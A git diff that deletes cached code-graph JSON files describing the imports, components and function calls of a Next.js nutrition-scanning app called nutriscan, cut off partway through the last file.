+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_optimizedimage_tsx", "label": "OptimizedImage.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L1"}, {"id": "components_optimizedimage_optimizedimageprops", "label": "OptimizedImageProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L8"}, {"id": "components_optimizedimage_optimizedimage", "label": "OptimizedImage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L34"}], "edges": [{"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "components_optimizedimage_optimizedimageprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_optimizedimage_tsx", "target": "components_optimizedimage_optimizedimage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L34", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L53"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L54"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L58"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "debug", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L62"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useRef", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L63"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useRef", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L64"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useRef", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L65"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L68"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L73"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L81"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "renderError", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L139"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L153"}, {"caller_nid": "components_optimizedimage_optimizedimage", "callee": "renderPlaceholder", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx", "source_location": "L165"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/061e269ce36b2d8e8ff46be76da1e3f38a012eeca97f96ba7a2b93c350ca33db.json b/graphify-out/cache/ast/061e269ce36b2d8e8ff46be76da1e3f38a012eeca97f96ba7a2b93c350ca33db.json
deleted file mode 100644
index fb8d9a9..0000000
--- a/graphify-out/cache/ast/061e269ce36b2d8e8ff46be76da1e3f38a012eeca97f96ba7a2b93c350ca33db.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_select_tsx", "label": "select.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L1"}, {"id": "ui_select_selecttrigger", "label": "SelectTrigger", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L15"}, {"id": "ui_select_selectscrollupbutton", "label": "SelectScrollUpButton", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L35"}, {"id": "ui_select_selectscrolldownbutton", "label": "SelectScrollDownButton", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L52"}, {"id": "ui_select_selectcontent", "label": "SelectContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L70"}, {"id": "ui_select_selectlabel", "label": "SelectLabel", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L102"}, {"id": "ui_select_selectitem", "label": "SelectItem", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L114"}, {"id": "ui_select_selectseparator", "label": "SelectSeparator", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L136"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "react_select", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selecttrigger", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectscrollupbutton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectscrolldownbutton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L52", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L70", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectlabel", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L102", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectitem", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L114", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_select_tsx", "target": "ui_select_selectseparator", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx", "source_location": "L136", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/064a244dfe9f2fca5157f6a7cbe49e05b980e778be27b7cd5a60c6c576b207ce.json b/graphify-out/cache/ast/064a244dfe9f2fca5157f6a7cbe49e05b980e778be27b7cd5a60c6c576b207ce.json
deleted file mode 100644
index c327441..0000000
--- a/graphify-out/cache/ast/064a244dfe9f2fca5157f6a7cbe49e05b980e778be27b7cd5a60c6c576b207ce.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "label": "dropdown-menu.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L1"}, {"id": "ui_dropdown_menu_dropdownmenusubtrigger", "label": "DropdownMenuSubTrigger", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L21"}, {"id": "ui_dropdown_menu_dropdownmenusubcontent", "label": "DropdownMenuSubContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L43"}, {"id": "ui_dropdown_menu_dropdownmenucontent", "label": "DropdownMenuContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L59"}, {"id": "ui_dropdown_menu_dropdownmenuitem", "label": "DropdownMenuItem", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L77"}, {"id": "ui_dropdown_menu_dropdownmenulabel", "label": "DropdownMenuLabel", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L95"}, {"id": "ui_dropdown_menu_dropdownmenuseparator", "label": "DropdownMenuSeparator", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L113"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "react_dropdown_menu", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenusubtrigger", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L21", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenusubcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L43", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenucontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L59", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenuitem", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L77", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenulabel", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L95", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "target": "ui_dropdown_menu_dropdownmenuseparator", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx", "source_location": "L113", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/088c428dbc0af51c097f6d87a5c747625b1bc36304e18d0f6de2ae28e514a7f7.json b/graphify-out/cache/ast/088c428dbc0af51c097f6d87a5c747625b1bc36304e18d0f6de2ae28e514a7f7.json
deleted file mode 100644
index 64beffd..0000000
--- a/graphify-out/cache/ast/088c428dbc0af51c097f6d87a5c747625b1bc36304e18d0f6de2ae28e514a7f7.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "label": "ListaProductCard.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L1"}, {"id": "components_listaproductcard_produto", "label": "Produto", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L9"}, {"id": "components_listaproductcard_listaproductcardprops", "label": "ListaProductCardProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L20"}, {"id": "components_listaproductcard_listaproductcard", "label": "ListaProductCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L25"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "d_documents_github_nutriscan_components_ui_badge_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "ui_badge_badge", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "d_documents_github_nutriscan_components_ui_card_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "ui_card_card", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "ui_card_cardcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "app_actions_togglecomprado", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "components_listaproductcard_produto", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "components_listaproductcard_listaproductcardprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "target": "components_listaproductcard_listaproductcard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx", "source_location": "L25", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/0a37976e80c3d547874db7d5993d7205ee7c9263770f7846d790fc3255c94cd8.json b/graphify-out/cache/ast/0a37976e80c3d547874db7d5993d7205ee7c9263770f7846d790fc3255c94cd8.json
deleted file mode 100644
index ff62e90..0000000
--- a/graphify-out/cache/ast/0a37976e80c3d547874db7d5993d7205ee7c9263770f7846d790fc3255c94cd8.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_donationsection_tsx", "label": "DonationSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L1"}, {"id": "landing_donationsection_donationsection", "label": "DonationSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L6"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_donationsection_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_donationsection_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_donationsection_tsx", "target": "landing_donationsection_donationsection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L6", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_donationsection_donationsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx", "source_location": "L33"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/0c281b0555d40e5d9f6f64fec4b11d684c32594388090dd0c44ad4dc51fb3729.json b/graphify-out/cache/ast/0c281b0555d40e5d9f6f64fec4b11d684c32594388090dd0c44ad4dc51fb3729.json
deleted file mode 100644
index d7d1647..0000000
--- a/graphify-out/cache/ast/0c281b0555d40e5d9f6f64fec4b11d684c32594388090dd0c44ad4dc51fb3729.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_features_tsx", "label": "Features.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L1"}, {"id": "landing_features_feature", "label": "Feature", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L6"}, {"id": "landing_features_features", "label": "features", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L13"}, {"id": "landing_features_featurerow", "label": "FeatureRow()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L79"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "landing_features_feature", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "landing_features_features", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "landing_features_features", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L44", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_features_tsx", "target": "landing_features_featurerow", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L79", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_features_features", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L67"}, {"caller_nid": "landing_features_featurerow", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx", "source_location": "L88"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/12c38317169290ee69813853a895277989fe6680b31cb77e99713ee44a5986fd.json b/graphify-out/cache/ast/12c38317169290ee69813853a895277989fe6680b31cb77e99713ee44a5986fd.json
deleted file mode 100644
index cb55de4..0000000
--- a/graphify-out/cache/ast/12c38317169290ee69813853a895277989fe6680b31cb77e99713ee44a5986fd.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "label": "radio-group.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L1"}, {"id": "ui_radio_group_radiogroup", "label": "RadioGroup", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L9"}, {"id": "ui_radio_group_radiogroupitem", "label": "RadioGroupItem", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L23"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "react_radio_group", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "ui_radio_group_radiogroup", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "target": "ui_radio_group_radiogroupitem", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx", "source_location": "L23", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/14f800fedc18446845ec84fb4471ae15d493c0a9d44d0a332cb0c57fa9c93249.json b/graphify-out/cache/ast/14f800fedc18446845ec84fb4471ae15d493c0a9d44d0a332cb0c57fa9c93249.json
deleted file mode 100644
index 7672025..0000000
--- a/graphify-out/cache/ast/14f800fedc18446845ec84fb4471ae15d493c0a9d44d0a332cb0c57fa9c93249.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_api_products_barcode_route_ts", "label": "route.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L1"}, {"id": "barcode_route_get", "label": "GET()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L6"}], "edges": [{"source": "d_documents_github_nutriscan_app_api_products_barcode_route_ts", "target": "server", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_products_barcode_route_ts", "target": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": 